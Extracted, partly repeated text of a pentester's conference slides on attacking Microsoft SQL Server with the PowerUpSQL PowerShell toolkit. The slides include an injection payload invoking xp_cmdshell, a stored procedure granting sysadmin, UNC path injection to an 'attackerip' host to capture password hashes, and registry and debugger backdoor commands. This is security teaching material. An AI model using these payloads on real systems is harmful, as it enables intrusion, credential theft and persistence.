Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 36: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

